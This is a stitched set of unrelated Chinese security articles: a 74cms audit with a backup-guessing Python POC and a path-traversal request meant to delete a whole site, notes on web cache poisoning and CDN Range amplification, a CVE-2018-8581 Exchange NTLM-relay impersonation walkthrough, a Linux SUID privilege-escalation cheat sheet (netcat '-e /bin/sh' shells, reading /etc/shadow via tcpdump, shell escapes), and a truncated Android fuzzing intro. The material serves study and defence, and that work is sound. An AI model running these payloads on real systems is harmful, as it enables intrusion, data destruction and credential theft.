然后笔者在文件中构造好了poc代码`',phpinfo(),'` 测试时发现单引号被过滤了 就这样从四点过折腾到六点过没绕过 放弃 先测其他点
随后在后台-工具-数据库-备份中发现该系统数据库备份文件名简单 可猜解。
附上Python POC（仅查找2017-2019的备份）：
# -*- coding: utf-8 -*- ------------------------------------------------- File Name： 74cms_MysqlBak
Description :
Author : CoolCat
date： 2019/1/5
------------------------------------------------- Change Activity:
2019/1/5:
------------------------------------------------- """
__author__ = 'CoolCat'
import requests
def getBak(time):
print("[running]:正在查询" + time + "是否存在备份")
dir = time + "_1"
filename = dir + "_1.sql"
url = target + "//data/backup/database/" + dir +"/"+ filename
session = requests.Session()
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
"Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
response = session.get(url=url, headers=headers, cookies=cookies)
if response.status_code == 200:
print(url)
exit()
if __name__ == '__main__':
global target
target = "http://www.target.com"
for year in range(2017, 2020):
for mouth in range(1, 13):
for day in range(1, 31):
time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
getBak(time)
实战测试：
前面的单引号没能绕过 暂且放弃
经过测试 phpoop师傅的[某cms
v4.2.1-v4.2.129-后台getshell漏洞](https://xz.aliyun.com/t/3736)可利用于4.2.3版本
### 0x03 分析总结
定位到文件`/Application/Admin/Controller/DatabaseController.class.php`第130-162行代码为：
protected function _make_backup_name(){
$backup_path = DATABASE_BACKUP_PATH;
$today = date('Ymd_', time());
$today_backup = array(); //保存今天已经备份过的
if (is_dir($backup_path))
{
if ($handle = opendir($backup_path))
{
while (($file = readdir($handle)) !== false)
{
if ($file{0} != '.' && filetype($backup_path . $file) == 'dir')
{
if (strpos($file, $today) === 0)
{
$no = intval(str_replace($today, '', $file)); //当天的编号
if ($no)
{
$today_backup[] = $no;
}
}
}
}
}
}
if ($today_backup)
{
$today .= max($today_backup) + 1;
} else
{
$today .= '1';
}
return $today;
}
第214-217行
protected function _sava_sql($vol){
return file_put_contents(DATABASE_BACKUP_PATH . $this->backup_name .
'/' . $this->backup_name . '_' . $vol . '.sql', $this->dump_sql);
}
取了备份当天的日期加上字符"_"以及一个数字来作为备份的文件名。如上面Python版的Poc所写一样。
厂商可修改命名方式来解决此问题（比如$vol变量不要用个位数字 而是换成多位随机码）
总体上来说给前台日穿74cms增加了新的机会。（4.X均通用）
2019.1.5 下午七点放弃继续测试（想起今天还没吃过饭 命要紧。）
### 0x04 补充（任意文件夹删除）
POC（删除整站）：
GET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?m=admin&c=database&a=restore
Connection: close
Cookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en
Upgrade-Insecure-Requests: 1
问题出在/Application/Admin/Controller/DatabaseController.class.php文件的58到66行
public function del(){
$name = I('request.name','','trim');
!$name && $this->error('请选择要删除的备份文件');
!is_array($name) && $name = array($name);
foreach ($name as $key => $val) {
rmdirs(DATABASE_BACKUP_PATH.$val,true);
}
$this->success('删除备份文件成功！');
}
name参数可控 导致可任意文件夹删除。 | 社区文章 |
# HTTP协议攻击方法汇总（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近一段时间,部门的小伙伴们看了一些HTTP协议相关的攻击方法，现做一个汇总。
由于内容比较多，分上下两部分进行发布。
上半部分：<https://www.anquanke.com/post/id/224321>
下半部分内容：
《Web Cache Attack》作者：donky16
《RangeAMP放大攻击》 作者: fnmsd
## Web Cache Attack
Web缓存欺骗和Web缓存投毒攻击方式
作者:donky16[@360](https://github.com/360 "@360")云安全
### 关于缓存
由于现在网站应用的复杂性，通常一个首页就会进行大量资源的加载，为了使用户更快的加载网页，几乎都会使用缓存，即将一些常用的静态文件，存储起来，当之后再需要这些静态资源的时候，直接就可以拿出来使用。浏览器缓存就是将缓存文件存储在本地，从而减少重复的请求，服务端缓存就是将缓存文件存储在客户端与服务端之间的CDN或者一些代理服务器中。
目前针对Web缓存的攻击方式有很多，以CDN为例，通俗来说，如果CDN会将一些攻击者构造的有害数据或者这些有害数据造成的Web应用异常的响应缓存起来，然后其他用户可以获取，那么将造成用户被攻击，即缓存投毒，如果CDN会将用户的敏感信息缓存起来，然后攻击者可以获取，那么将造成用户数据泄露，即Web缓存欺骗。
### Web缓存欺骗
1. ##### 环境搭建
以CDN为例，为了更好的搞清楚这种攻击方式的原理，简单地使用Apache2+php搭建了一个网站应用，功能十分简单，`index.php`可以输入用户名用于登录
`info.php`可以获取用户名并展示
接着将网站接入了CloudFlare CDN。而最终目的就是攻击者获取正常用户的用户名，真实环境中可以获取更多敏感信息。
1. ##### 攻击方法
* 用户正常访问网站并登录获取info.php
* 攻击者构造`http://donky.cn/test/info.php/cache-attack.css`链接并诱导用户访问
* 用户访问`http://donky.cn/test/info.php/cache-attack.css`，请求到达CDN，CDN第一次接收到此请求，直接转发到源站
* 源站返回带有`usernmae`的`info.php`的内容
* CDN获取到`info.php`的内容并转发给用户，此时CDN缓存机制发现此请求路径文件拓展名为`css`，缓存此文件
* 攻击者访问`http://donky.cn/test/info.php/cache-attack.css`，CDN发现此请求可以命中缓存，返回`info.php`内容给攻击者
* 攻击者获取用户的`info.php`内容
1. ##### 攻击分析
上述是一个理想的攻击链，但是实际情况并不如此
当访问用户`http://donky.cn/test/info.php/cache-attack.css`
由于环境是一个简单的php程序，并没有使用任何框架，没有进行相关路由配置，php忽略了url中`info.php`后面的`cache-attack.css`直接返回了`info.php`的内容，这是攻击成功的第一个条件。
接着我们用攻击者的角度去访问这个url
发现并没有获取到用户的`username`
从响应可以看到，`CF-Cache-Status: BYPASS;Cache-Control: no-store, no-cache, must-revalidate`，`CF-Cache-Status`是CloudFlare对与此请求缓存的状态记录，可以在[CloudFlare-Doc](https://support.cloudflare.com/hc/en-us/articles/200172516-Understanding-Cloudflare-s-CDN)查询
对于源站来说，很明显`http://donky.cn/test/info.php/cache-attack.css`这个请求返回的并不是静态资源是不允许缓存的，所以在返回包内设置了`Cache-Control: no-store, no-cache,
must-revalidate`，当CloudFlare获取到这种`no-store`时，自然不会进行缓存
所以要想Web缓存欺骗攻击成功，必须保证缓存服务器会把`info.php/cache-attack.css`的内容当作`css`静态资源来进行缓存，这是攻击成功最重要的条件，想到达到这条件有两种方法，源站返回可以进行缓存的`Cache-Control`或者缓存服务器忽略源站返回的`Cache-Control`从而进行缓存。
显然第一种方式很难出现，但是对于第二种方式却在很多情况下都可以进行配置，由于网站的复杂性，很多缓存服务器可以自定义缓存策略，以测试的CloudFlare为例，可以通过Page
Rule来进行配置，下图可以通过正则的方式实现在`test`目录下的所有`css`文件都可以进行缓存
因为`http://donky.cn/test/info.php/cache-attack.css`正好匹配中`http://donky.cn/test/*.css`，所以CloudFlare会直接将`info.php`的内容缓存起来
再次测试上述攻击利用链，当用户访问`http://donky.cn/test/info.php/cache-attack.css`时，响应包中出现`Cache-Control: max-age=14400, must-revalidate; CF-Cache-Status: MISS`，此时源站返回的`Cache-Control`已经被CloudFlare忽略，并设置了缓存信息，由于第一次请求这个url，所以在缓存中是`MISS`状态，当攻击者再次访问时，会返回缓存的`info.php`内容，响应包中含有`Cache-Control: max-age=14400, must-revalidate; CF-Cache-Status: HIT; Age:
281`，命中缓存，达到攻击效果。
### Web缓存欺骗总结
1. ##### 攻击条件
* 源站应用能够忽略url中正常请求路径后面的静态文件名
* 缓存服务器能够忽略源站返回的`Cache-Control`，并把请求获取的内容当作静态文件一样缓存
2. ##### 对应防御措施
* 源站对于`http://donky.cn/test/info.php/cache-attack.css`这种请求，应该做相应的正确处理，而不是仅仅忽略后面的静态文件名
* 缓存服务器对于源站返回的含有不能进行缓存指令的HTTP头的数据不进行缓存
### Web缓存投毒
1. ##### 缓存键
由于缓存服务器会缓存一些请求返回的内容，然后当再次接收到相同的请求时，便可以直接取出缓存中的内容返回给客户端。但是如何辨别一个请求是否和缓存中的请求等效，是一件复杂的事情。http头部字段冗杂，通过设置某些字段为缓存键，当缓存键相同时，就认为可以从缓存中取文件资源。
2. ##### 攻击场景
请求中一些非缓存键，会影响Web应用返回的响应内容（如把值拼接到返回内容中），并且如果这种请求获取的响应可以被缓存，那么之后的正常用户就会受到攻击。
unity3d.com就出现过这种问题
> GET / HTTP/1.1
> Host: unity3d.com
> X-Host: portswigger-labs.net
>
> HTTP/1.1 200 OK
> Via: 1.1 varnish-v4
> Age: 174
> Cache-Control: public, max-age=1800
> …
>
> \<script src=”https://portswigger-labs.net/sites/files/foo.js”>\</script>
Web应用把`X-Host`的值拼接到了返回内容的`script`标签中，这样可以直接造成XSS，`Age: 174`和`Cache-Control:
public, max-age=1800`可以确认这个请求的响应是会进行缓存的，下一次更新缓存的时间可以通过`Age`和`max-age`来确定，这样就能将自己的XSS
payload精准地注入到缓存中，达到攻击其他用户的效果。在很多场景下，当我们获取到非缓存键影响的响应内容时，应该搞清楚输入的非缓存键到底影响了什么内容，我们能控制哪些内容，这样才能为之后的攻击创造条件。
#### 引用
<https://www.4hou.com/posts/MQkO>
<https://support.cloudflare.com/hc/en-us/articles/200172516-Understanding-Cloudflare-s-CDN>
<https://support.cloudflare.com/hc/zh-cn/articles/115003206852>
<https://www.anquanke.com/post/id/156356>
## RangeAMP放大攻击
作者：fnmsd[@360](https://github.com/360 "@360")云安全
最近拜读了《CDN Backfired: Amplification Attacks Based on HTTP Range
Requests》这篇由清华大学主导的DSN2020最佳论文，做一个简单的笔记。
**论文下载地址：**
<https://netsec.ccert.edu.cn/files/papers/cdn-backfire-dsn2020.pdf>
此处先膜一下各位论文作者，tql~
### 基本概念
首先是两个概念，了解的可以直接跳过：
#### CDN(这里主要指的是HTTP协议的CDN)：
> CDN的全称是Content Delivery
> Network，即[内容分发网络](https://baike.baidu.com/item/%E5%86%85%E5%AE%B9%E5%88%86%E5%8F%91%E7%BD%91%E7%BB%9C/4034265)。CDN是构建在现有网络基础之上的智能虚拟网络，依靠部署在各地的边缘服务器，通过中心平台的负载均衡、内容分发、调度等功能模块，使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
目前主要形式还是以反向代理，产品有很多CloudFlare、AWS的CloudFront；阿里云、腾讯云的CDN产品；云WAF也基本上都带有CDN功能。
单独说一下 **CDN缓存：**
> 当服务接入了 CDN 之后，浏览器本地缓存的资源过期之后，浏览器不是直接向源服务器请求资源，而是转而向 CDN 边缘节点请求资源。CDN
> 边缘节点中将用户的数据缓存起来，如果 CDN 中的缓存也过期了，CDN 边缘节点会向源服务器发出回源请求，从而来获取最新资源。
一些CDN的缓存可以通过加请求参数、更改请求头等等方法，令已缓存的资源资源被认为未缓存，进而令CDN回源站进行读取。
#### HTTP Range请求（HTTP范围请求）：
> HTTP 协议范围请求允许服务器只发送 HTTP 消息的一部分到客户端。范围请求在传送大的媒体文件，或者与文件下载的断点续传功能搭配使用时非常有用。
所以，Range请求主要用途：大文件分块下载、断点续传、多线程下载
可以使用HEAD请求（GET也可以，只是会返回响应内容），确认所请求资源是否支持Range，如下图所示，包含Accept-Ranges为bytes为支持：
不包含Accept-Ranges头，或Accept-Ranges值为none则不可用（不排除有别的值，目前看是只有bytes和none）。
使用Range请求时，需要在HTTP请求头中加入Range头，Range头的形式有两种：
* 单一范围：
Range: bytes=0-1023
带上述请求头的请求返回0-1023个字节，服务器端会返回状态码为 [`206`](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/206) `Partial Content` 的响应，响应内容为我们所请求的1024字节的内容。
* 多重范围，用于请求多个数据块(范围可重叠，后面的ORB手法就是利用重叠的范围进行攻击)
Range: bytes=0-50, 100-150
带有多重范围Range请求的请求，服务器会返回 [`206`](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/206) `Partial
Content`状态码，同时使用类似文件上传时的multipart多重分块作为响应（Content-Type为multipart/byteranges）,下面使用boundary进行分割多块内容。
### 整体思路
论文中整理了CDN在处理Range请求时回源策略有如下三种（详见原论文中Table I/Table II）：
* **懒惰型：** 不做任何改变，直接转发带Range头的请求
* **删除型：** 直接删除Range头再转发
* **扩展型：** 将Range头扩展到一个比较大范围
其中`删除型`及`扩展型`是CDN缓存为了增加缓存命中率而做的优化，对于Range请求的资源（文件）尽量的多请求，以便客户端向CDN请求后续分块时无需再向源站请求数据。
根据CDN处理Range的方式以及CDN数量、前后顺序提出了两种攻击方式：
### Small Byte Range(SBR)Attack（小字节范围攻击）
该方法的主旨是利用CDN进行Range放大攻击打目标源站，无需一般UDP类反射放大攻击需要源地址伪造。
（论文原图，以访问test.jpg为例）
简单来说就是使用了 **删除型** 、 **扩展型** 回源策略的CDN，向源站请求尽量大的内容，且响应给客户端的内容依然为Range头预期的小内容。
放大倍数约等于 **所访问的文件大小** / **Range请求+响应包大小**
，论文中统计了test.jpg为1MB的情况，根据不同CDN放大倍数从724倍~1707倍不等（除了KeyCDN为724倍，其余CDN都在1000倍以上）。
(举个例子：上图1+4也就是攻击者与CDN间的交互报文大小为600字节，而请求test.jpg文件大小为1MB，那么此时2+3也就是CDN与源站交互的报文大小约等于1MB，1MB/600B,放大倍数接近1700倍)
理论上，使用 **删除型** 策略的CDN的放大倍数可以随着test.jpg大小 **无限制增大**
，论文中25MB时最大放大倍数可达4W+倍（Memcached的反射放大攻击最大在5W倍左右）。
而使用 **扩展型** 策略的CDN，可能会存在一个Range请求大小的上限，令放大倍数存在一定的限制，不过最次的情况下最大放大倍数也接近了万倍。
此时配合一些手法，令每次对test.jpg访问都不命中缓存并回源进行数据读取，从而造成稳定的放大攻击,持续消耗源站的带宽资源。
**论文中的攻击测试结果：** 目标资源10MB，客户端消耗带宽小于500Kbps，可使目前源站1000Mbps的带宽接近占满。
**我自己的测试：** 通过国外某CDN打我的阿里云ECS主机（上限带宽100Mbps），资源文件10MB(实际上用不到这么大的资源文件),20线程直接打满
iftop信息，消耗了大量的流量，以及打满的带宽：
**题外话：** 这种攻击方式配合目前家用的千兆宽带，多线程多CDN节点多个代理进行Range请求，轻轻松松的放大到上T流量，理论上。。。理论上。。。
### Overlapping Byte Ranges(ORB) Attack(重叠字节范围攻击)
该方法的主旨是利用Range放大攻击，消耗CDN内部的网络资源。
（继续论文原图）
该方法使用多重范围的Range头，堆叠Range范围数量（bytes=0-,0-,…,0-）(n个0-，CDN支持的n的数量越大放大倍数越大，CDN间消耗的流量等于n倍的访问文件大小)，适用于前置CDN（FCDN）采取
**懒惰型** 策略，并且后置CDN（BCDN）不检查Range范围是否重叠，就返回分块的Range响应；的CDN组合情况。
同时在客户端处，设置较小的 **TCP接收窗口** ，并及时断开连接，使得接收的数据尽量小。
该方法可获得源站文件大小50-6500的流量放大，大量消耗FCDN、BCDN的网络资源。
论文中给了6个CDN结合，一共11种组合的可利用情况，相对SRB来说利用难度较大，一般很少有使用多层CDN的情况。
该方法无法直接威胁到源站。
## 解决方案
论文中最后给出了针对不同角色的解决方案：
**服务器侧：** 1\. 增强本地DDOS防御能力 2.如果接入了CDN，判断是否存在上述问题。
**CDN侧：** 修改Range请求的回源策略，从删除型的扩展型，并且扩展较小的范围（比如在原范围基础上扩展8KB，这样不会浪费太多资源）。
**协议侧：** 修改相关RFC标准，将RangeAMP纳入到考虑范围中。
我们还发现:在静态资源后面加参数，使CDN的缓存MISS是一种常见的Cache
MISS手法。（在这种情况下，访问`/test.jpg`和访问`/test.jpg?xx`,会被当做访问了不同的静态资源文件）
所以，如果确认不需要参数，可直接在CDN上开启忽略参数进行缓存，避免静态资源重复回源，造成RangeAMP放大攻击。
## 总结
SRB、ORB攻击方法利用了CDN的缓存策略、Range请求进行了放大攻击。
利用本应该用于抗D的CDN来对源站进行流量攻击，以及无意义的消耗CDN网络内部的资源，保护者变成了破坏者。
## 引用内容
1. <https://netsec.ccert.edu.cn/files/papers/cdn-backfire-dsn2020.pdf>
2. <https://baike.baidu.com/item/CDN/420951>
3. <https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests>
4. <https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Accept-Ranges>
5. <https://www.jianshu.com/p/baf12d367fe7> | 社区文章 |
# 分析CVE-2018-8581：在Microsoft Exchange上冒充用户
|
##### 译文声明
本文是翻译文章，文章原作者 zerodayinitiative，文章来源：zerodayinitiative.com
原文地址：<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是我们2018年Top
5趣案系列中的第三个案例。这些漏洞都有一些因素使它们从今年发布的大约1，400个报告中脱颖而出。今天我们将分析一个Exchange漏洞，它允许任何经过身份验证的用户冒充Exchange
Server上的其他用户。
在ZDI的Dustin Childs
12月的[文章](https://www.zerodayinitiative.com/blog/2018/12/11/the-december-2018-security-update-review)
中，他提到了一个Exchange漏洞，允许Exchange服务器上的任何用户冒充该Exchange服务器上的任何人。虽然这个漏洞可以用于一些内网的劫持，但这个漏洞更有可能被用于钓鱼活动、窃取数据或其他恶意软件操作。作为2018年Top
5趣案系列的一部分，本文深入研究了这个SSRF(服务器端请求伪造)漏洞的细节，并展示了冒充过程是如何实现的。
## 漏洞
该漏洞是由SSRF漏洞和其他漏洞相结合造成的。Exchange允许任何用户为推送订阅指定所需的URL，服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用[CredentialCache.DefaultCredentials](https://docs.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultcredentials)进行连接：
在Exchange Web服务中，CredentialCache.DefaultCredentials在NT
AUTHORITYSYSTEM上运行。这将导致Exchange
Server向攻击者的服务器发送NTLM散列。Exchange服务器还默认设置了以下注册表项：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1
这允许我们使用这些NTLM散列来进行HTTP身份验证。例如，可以使用这些散列来访问Exchange Web服务(EWS)。由于它在NT
AUTHORITYSYSTEM级别运行，攻击者可以获得TokenSerializationRight的“特权”会话，然后可以使用SOAP请求头来冒充任何用户。
下面是这样一个SOAP请求头的例子，它用SID `S-1-5-21-4187549019-2363330540-1546371449-500`冒充管理员。
## Exploit
为了演示，我们将使用几个Python脚本：
`serverHTTP_relayNTLM.py`– 通过入站连接获取NTLM散列并用于EWS身份验证
`exch_EWS_pushSubscribe.py` – 导致PushSubscription EWS调用serverHTTP_relayNTLM.py
你可以在[这里](https://github.com/thezdi/PoC/tree/master/CVE-2018-8581)下载这些脚本。你还需要python-NTLM模块。
漏洞的第一步是获取我们要冒充的用户的SID。一种可能的使用方法是这样的：
1. 以授权用户身份登录OWA。在这里，我们以“攻击者”身份登录：
2. 接下来，创建任意新文件夹。在这个例子中，我们使用了temfold。点击context中“Permissions…”选项：
3. 在这里，添加要冒充的人的电子邮件。我们的目标是受害者`[victim@contoso.local](mailto:victim@contoso.local)`：
4. 现在我们需要按F12键并选择Network选项。然后在新文件夹中再次选择context中“Permissions…”选项。
5. 我们需要检查第一个`service.svc?action=GetFolder`请求的响应。查看方法：
`Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID`。
在这个例子中，N是2(最新的)，但是你可以全部检查一遍以便找到正确的。PrimarySmtpAddress应该是理想的受害者。如果响应不包含PermissionSet项，则需要检查另一个`service.svc?action=GetFolder`请求。
6. 我们将在`serverHTTP_relayNTLM.py`中使用这个SID来冒充受害者。另外，我们还需要选择在攻击者控制的计算机上不太可能被阻止的TCP端口，这些端口将允许Exchange Server上的外部连接。例如，TCP端口8080可能可用。
现在，让我们用真实信息更改`serverHTTP_relayNTLM.py`中的下一行：
一旦脚本有了正确的变量，就可以启动了：
7. 8. 下一步是在`Exch_EWS_PushSubscribe.py`脚本中设置适当的变量：
一旦完成，我们就可以执行以下脚本：
9. 10. 最后一步。我们需要一些事件触发推送通知。如果可以等待一段时间，或者我们也可以执行一些操作，比如创建和发送新的电子邮件，或者删除我们的新文件夹：
11.
如果成功，我们应该接收从Exchange服务器到`serverHTTP_relayNTLM.py`的入站连接：
如果攻击成功，我们将在最后一个响应中看到`UpdateInboxRulesResponse
ResponseClass=“Success”`。这意味着入站规则已添加到受害者邮箱中，所有入站电子邮件都将转发给攻击者。
现在一切就绪，是时候测试了。我们需要从任意帐户向受害者发送电子邮件，但与我们新规则中的目的地不相同(在本例是[attacker@contoso.local](mailto:attacker@contoso.local))，因为如果源和目的地是相同的地址，则该规则不会转发电子邮件。让我们以管理员身份登录并向受害者发送一些“敏感”信息：
检查攻击者的收件箱，我们看到消息成功转发：
正如我们所看到的，新的邮件被转发给攻击者。类似的结果可以通过其他EWS API实现，比如AddDelegate或将编辑权限分配给目标文件夹。
## 修补
微软将该漏洞分配为CVE-2018-8581，并在11月份发布时给出[缓解措施](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)。实际上这个漏洞还没有修补程序。相反，Microsoft强调应该删除注册表项。删除这个键可启用回送检查。回想上面的内容，Exchange服务器默认设置了以下注册表项：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1
如果删除`HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck`键，则漏洞不可以。若要删除注册表项，请在CMD窗口中输入以下命令：
删除密钥后不需要重新启动或Exchange Server。公告指出，将来Exchange的更新在默认情况下将不再启用注册表项。
## 结论
电子邮件已经成为我们商业生活的核心组成部分，Exchange
Server多年来一直是一个热门的目标。该漏洞允许冒充用户，通过以前报告的[漏洞](https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server)允许任意代码执行。这两种情况都表明，有时最大的安全风险来自内部。这些漏洞还展示了外部攻击者如何从单个入口点在整个企业中扩散。 | 社区文章 |
作者：[Evi1cg](https://evi1cg.me/archives/SUID_Privilege_Escalation.html
"Evi1cg")
Linux提权中，可以用的SUID文件来提权，SUID的作用就是：让本来没有相应权限的用户运行这个程序时，可以访问没有权限访问的资源。通常可以使用一下命令来找有SUID标志位的文件：
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
例如nmap
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
存在s 则表示其存在SUID标志位，并拥有root的执行权限。以下是几类可用于提权的文件总结：
#### 1.Nmap
老版本的nmap（2.02-5.21）有 interactive，是允许用户执行系统命令的。提权方式
nmap --interactive
之后执行命令：
nmap> !sh
sh-3.2# whoami
root
msf中的模块为：
exploit/unix/local/setuid_nmap
#### 2.Find
touch test
find test -exec whoami \;
如果服务器上装了nc，可以直接使用以下命令进行监听：
find test -exec netcat -lvp 5555 -e /bin/sh \;
之后进行连接：
netcat 192.168.1.100 5555
则可获取root shell
#### 3.vim/vi
打开vim,按下ESC
:set shell=/bin/sh
:shell
则可执行命令
#### 4.bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
#### 5.less
less /etc/passwd
!/bin/sh
#### 6.more
more /home/pelle/myfile
!/bin/bash
#### 7.cp
使用cp覆盖 /etc/shadow
#### 8.mv
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
#### 9.awk
awk 'BEGIN {system("/bin/bash")}'
#### 10.man
man passwd
!/bin/bash
#### 11.python/perl/ruby/lua/etc
perl
exec "/bin/bash";
python
import os
os.system("/bin/bash")
#### 12.tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
欢迎补充。
* * * | 社区文章 |
# 安卓Native层共享库fuzzing技术思路及实践
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
fuzzing技术在漏洞挖掘领域是一个无法绕开的话题，无恒实验室也一直在使用fuzzing技术发现产品的问题。虽然fuzzing不是万能的，但是没有它是万万不能的。说它不是万能的其实也是相对的说法，理想状态下，例如在可接受的时间范围内，计算资源足够丰富且系统复杂度足够低的情况下，fuzzing就能够给你任何想要的结果。这就好像是让一台计算机去随机的print一些文字，只要时间足够长，随机字符产生的效率足够快，那么早晚有一天会print出一部《三体》出来。
然而理论是丰满的，现实是骨感的，虽然人类社会的计算资源和效率在不断增长，但是软件系统的复杂度却以更快的幅度在增长着，以往通过近乎于dumb
fuzz就能找到漏洞的情况几乎绝迹了。所以fuzzing技术必然要朝着更高覆盖率的样本生成、更高效的代码路径移动算法（变异）、更合理的计算资源分配调度等方向去发展。
不敢妄言未来fuzzing技术能发展到什么程度，这要靠学术界和工业界的共同努力，但是如果我们有一天见到了一个AI在面对大部分未知系统的时候都能自己solve出bug，那么毫无疑问，它一定用到了fuzzing！情怀的部分就到这里，下面来脚踏实地的实践一下安卓的一些native
binary如何去fuzz。
## 技术背景:
fuzzing二进制目前有很多流派，但都大同小异，目的都是以最快的速度产生样本覆盖更多的code path，显然在这个过程中以code
coverage作为整个fuzzer的驱动导向是最科学的，也就是覆盖率引导的灰盒模糊测试技术CGF（Coverage-based Greybox
Fuzzing），这里有必要对这个最为核心的技术背景做些介绍。
统计coverage信息的方法通常有以下几种：
1、Compiler
Instrumentation：如果存在源码的情况下，这种方式做代码覆盖率统计和fuzz是最可靠且高效的，例如利用LLVM、GCC等，但可惜很多情况下拿不到源码。
<https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html>
<https://llvm.org/docs/CommandGuide/llvm-cov.html>
2、Execute
Simulation：例如基于QEMU、Unicorn模式的AFL就会在QEMU准备翻译执行基本块之前插入覆盖率统计的代码，缺点是执行效率有点低。
<https://github.com/edgarigl/qemu-etrace>
<https://andreafioraldi.github.io/articles/2019/07/20/aflpp-qemu-compcov.html>
3、Runtime
Trace：这种形式的代码路径覆盖比较灵活，实现形式也比较多样化，也是本文所用到的主要方法。较为常见的方式例如使用frida动态插桩、调试启动、或者直接改造手机ROM等方式都可以实现，缺点是由于架构复杂稳定性很难保证，很多时候还没等target
crash，fuzzer自己先crash了。文章后面会详细一些的介绍用到的frida stalker工具。
<https://frida.re/docs/stalker/>
4、Binary Rewrite：这种方法主要是针对二进制disassemble的每个基本语句块进行插桩，如果做的比较理想，效果可能仅次于Compiler
Instrumentation，但缺点是它太难了，如果仅仅是个比较简单的binary问题倒还不大，但如果是个复杂度很高的系统实现起来就会困难重重，例如有些binary自带VM的情况、binary存在runtime
rewrite自身的机制、binary使用了一些CPU的特殊Architecture
Feature、各种binary重定位问题等等，这些处理不好都会让rewriten binary无法顺利执行。
<https://github.com/GJDuck/e9patch>
<https://github.com/utds3lab/multiverse>
<https://github.com/talos-vulndev/afl-dyninst>
5、Hardware Trace：这可能成为未来binary
fuzzing的主流方向，硬件对软件天然就处在上帝视角中，这里要明确一下我所说的Hardware
Trace这个范畴，并不是真的需要搞个专用于fuzzing的硬件，这里主要是说利用硬件与操作系统之间的那一层的能力去完成fuzz的目的，这对fuzz操作系统自身尤其有效，例如利用hypervisor、硬件调试器等的能力，当然也不排除有一天会有人搞出个FPGA甚至ASIC来跑fuzz，哈哈，那简直太硬核了！
<https://github.com/gamozolabs/applepie>
<https://the-elves.github.io/Ajinkya-GSoC19-Submission/>
## 目标选择:
关于如何选择fuzzing目标这点，主要从安卓so库的安全风险角度分享一下我的经验和思路：
1、 **有攻击面：**
这是最先要确认的一个点，虽然理论上说任何程序都有攻击面，但是有大有小，有多有少，我们倾向于选择攻击面大的目标，这样才更有价值，例如有些so库可能会直接接收用户的外部数据进行处理，例如视频播放器、图片解析引擎、js解析引擎等等，这些so库如果出现漏洞，大概率上比较容易直接利用。
2、 **高频应用：**
更高频被用到的so库也是值得重点考量的，越是高频被用到，就越易于攻击利用，风险也就越大，例如有些工具util性质的so库，可能会被好多其他库调用，出问题的概率很大。
3、 **复杂度高：** 理论上说，漏洞的产生的概率与系统复杂度成正比，越是复杂就越是容易出问题。
4、 **消减措施缺失：** 某些so库在编译过程中可能没有考虑到安全性，没有开启安全编译选项，这就会导致其上的漏洞很容易被利用，风险也很大。
## 样本生成:
确认了目标以后，就要开始考虑目标的业务逻辑了，越是能清晰的了解测试目标，就越是能准确的构造出好的样本，提升fuzz的效率。这个过程就好像导弹在击中目标之前的制导过程，需要明确击中目标所要经过的各个路径和需要绕过哪些障碍等。落实到业务上就是需要了解目标会接收什么样的输入数据、对数据处理的过程是怎样的、是否需要交互、是同步还是异步等等，越准确清晰越好。例如，现在要fuzz的目标是一个视频解码引擎的H265解码算法，那么就要考虑如何去基于H265的编码算法生成一些视频样本，如果样本使用其他一些MPEG、AVS、WMV等的编码，那可能fuzz到天荒地老也未必能找出一个H265解码器的问题。
“精确制导”之后我们也需要去做一些类似“火力覆盖”的事情，因为生成一个单一样本很难做到最大化的code
coverage，所以我们需要在目标接收数据范围内做一些多样性的变化，产生一个样本集，通过大量多样性的样本达到一个比较满意的代码覆盖率。
本文使用ffmpeg库对H265的视频样本进行生成，示例部分代码逻辑。
对原始帧做一些随机变化：
视频参数也进行些随机多样化的设置：
还可以选择性的在视频流封装前搞点事情：
